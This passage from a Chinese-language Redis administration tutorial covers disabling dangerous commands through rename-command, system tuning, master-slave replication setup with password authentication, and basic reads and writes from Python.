dis.conf[root@Redis01 ~]# echo 'rename-command KEYS ""' >> /usr/local/redis/conf/redis
.conf[root@Redis01 ~]# tail -3 /usr/local/redis/conf/redis.conf
rename-command FLUSHALL ""
rename-command FLUSHDB ""
rename-command KEYS ""
13.3 登錄redis,運行禁止命令進行測試
重啓redis-server
[root@Redis01 ~]# redis-cli shutdown
[root@Redis01 ~]# redis-server /usr/local/redis/conf/redis.conf
測試被屏蔽的危險命令
若是測試本地不讓登陸了,以下圖:
日誌顯示
由於我以前用過flushdb這個命令,aof記錄了這個命令,若是要更名aof就不認識了
重寫一下aof
十四,Redis主從服務器環境的搭建
主機名 |
IP |
用途 |
Redis01 |
10.1.1.146 |
Redis-master |
Redis02 |
10.1.1.147 |
Redis-slaveA |
Redis03 |
10.1.1.148 |
Redis-slaveB |
14.1 環境要求與redis基礎編譯部署調優
操做系統環境要求
三臺redis都進行編譯安裝,三臺都進行配置文件優化和簡單的基礎調優,三臺的redis-server都啓動
過程略,前面有寫
基礎調優設置:
[root@Redis03 redis]# echo "* - nofile 10240" >> /etc/security/limits.conf
[root@Redis03 redis]# echo "net.core.somaxconn = 10240" >> /etc/sysctl.conf
[root@Redis03 redis]# echo "vm.overcommit_memory = 1" >> /etc/sysctl.conf
[root@Redis03 redis]# sysctl -p
net.core.somaxconn = 10240
vm.overcommit_memory = 1
[root@Redis03 redis]# echo never > /sys/kernel/mm/transparent_hugepage/enabled
[root@Redis03 redis]# echo never > /sys/kernel/mm/transparent_hugepage/defrag
[root@Redis03 redis]# echo 'echo never > /sys/kernel/mm/transparent_hugepage/enabled'>>/etc/rc.local
[root@Redis03 redis]# echo 'echo never > /sys/kernel/mm/transparent_hugepage/defrag' >> /etc/rc.local
14.2 redis主從同步服務器搭建
redis的主從同步,不用修改master任何配置
只須要在redis-slave上指定master的IP地址便可
先啓動redis-master,將主的日誌清空 > /data/redis/redis.log 一會主要是想看看日誌信息的。而後再在兩個redis-slave上都進行以下操做
[root@Redis02 redis]# redis-cli shutdown
[root@Redis02 redis]# echo "SLAVEOF 10.1.1.146 6379" >> /usr/local/redis/conf/redis.conf
[root@Redis02 redis]# tail -1 /usr/local/redis/conf/redis.conf
SLAVEOF 10.1.1.146 6379
[root@Redis02 redis]# > /data/redis/redis.log
[root@Redis02 redis]# redis-server /usr/local/redis/conf/redis.conf
[root@Redis02 redis]# ss -antup | grep redis
tcp LISTEN 0 1024 *:6379 *:*
users:(("redis-server",pid=1449,fd=6))tcp ESTAB 0 0 10.1.1.147:33796 10.1.1.146:6379
users:(("redis-server",pid=1449,fd=7))
14.3 主從同步日誌分析(全量同步)查看redis-slave同步日誌,查看redis-slave同步日誌
查看日誌信息:略,本身能看懂就行,看不懂百度單詞,工做中是會常常看redis的日誌信息的
keys * 從庫裏也有了數據
redis的主從複製原理:是在後臺起一個進程並生成一個rdb文件,來把當前這個時刻的全部的內存數據給BGSAVE到內存裏,並非寫到硬盤上,而後把這個rdb文件給從,redis的第一次同步方式都是全量同步,就是把全部數據都給從庫
14.4 主從同步日誌分析(部分同步)
若是是從宕了,不觸發半同步,從宕了以後好了再連,仍是全量,若是主宕了,從庫就找不着了,這個時候主宕了以後再恢復,從就會找主作增量複製,就是部分同步
[root@Redis01 ~]# > /data/redis/redis.log
[root@Redis01 ~]# redis-cli shutdown
從的日誌 略
14.5 主從同步的中止
[root@Redis02 ~]# redis-cli
127.0.0.1:6379> slaveof no one
OK
127.0.0.1:6379>
[root@Redis02 ~]# cat /data/redis/redis.log
恢復主從
127.0.0.1:6379> slaveof 10.1.1.146 6379
OK
14.6 加密的主從同步
(1)爲redis-master平滑設置鏈接密碼
[root@Redis01 ~]# redis-cli config get requirepass
1) "requirepass"
2) ""
[root@Redis01 ~]# redis-cli config set requirepass 'yunjisuan'
OK
[root@Redis01 ~]# redis-cli config get requirepass
(error) NOAUTH Authentication required.
[root@Redis01 ~]# redis-cli auth yunjisuan
OK
查看從庫日誌信息
(2)爲從庫提供主從同步密碼驗證
從服務器須要設置主從同步的認證密碼
查看從服務器日誌
十五,使用Python操做Redis單例
[root@Redis01 ~]# yum -y install epel-release
[root@Redis01 ~]# yum -y install python2-pip
[root@Redis01 ~]# pip install redis
15.2 利用python進行redis數據的讀寫
[root@Redis01 ~]# pythonPython 2.7.5 (default, Apr 11 2018, 07:36:10) [GCC 4.8.5 20150623 (Red Hat 4.8.5-28)] on linux2Type "help", "copyright", "credits" or "license" for more information.>>> import redis>>> r = redis.Redis(host='127.0.0.1',port=6379,password='yunjisuan',db=0)>>> r.get('key_0008')'value_0008'>>> exit()